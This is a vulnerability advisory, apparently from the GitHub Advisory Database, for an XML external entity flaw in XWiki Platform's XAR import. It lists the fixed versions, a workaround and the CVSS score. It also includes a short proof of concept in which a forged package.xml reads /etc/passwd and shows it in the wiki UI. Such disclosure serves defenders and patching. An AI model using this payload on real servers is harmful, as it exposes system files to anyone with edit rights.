High

XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference

  • Disclosed: 08.03.2023
  • Updated: 11.10.2026 11:21

Impact

Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.

Example to reproduce:

  • Create a forget XAR file and inside it, have the following package.xml content:
    xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    
    <package>
    <infos>
    <name>&xxe;</name>
    <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description>
    <licence></licence>
    <author>XWiki.Admin</author>
    ...
  • Upload it onto a wiki page (e.g. XXE) as an attachment (e.g. test.xar).
  • Call the page using http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar

You'll then notice that the displayed UI contains the content of the /etc/passwd file.

Patches

The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.

Workarounds

You'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).

References

For more information

If you have any questions or comments about this advisory:

Affected software

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PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.xwiki.platform:xwiki-platform-xar-model >= 1.1-milestone-3, < 13.10.11, >= 14.0, < 14.4.7, >= 14.5, < 14.10-rc-1 13.10.11, 14.4.7, 14.10-rc-1

References

CVSS score 7.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness (CWE)
CWE-611
Platform
Java / Kotlin (Maven)
Package
org.xwiki.platform:xwiki-platform-xar-model
Disclosed
08.03.2023
Updated
11.10.2026 11:21

Sources and licenses

OSV / GitHub Advisory Database - GHSA-gx4f-976g-7g6v - CC BY 4.0

Vulnerability history: org.xwiki.platform:xwiki-platform-xar-model

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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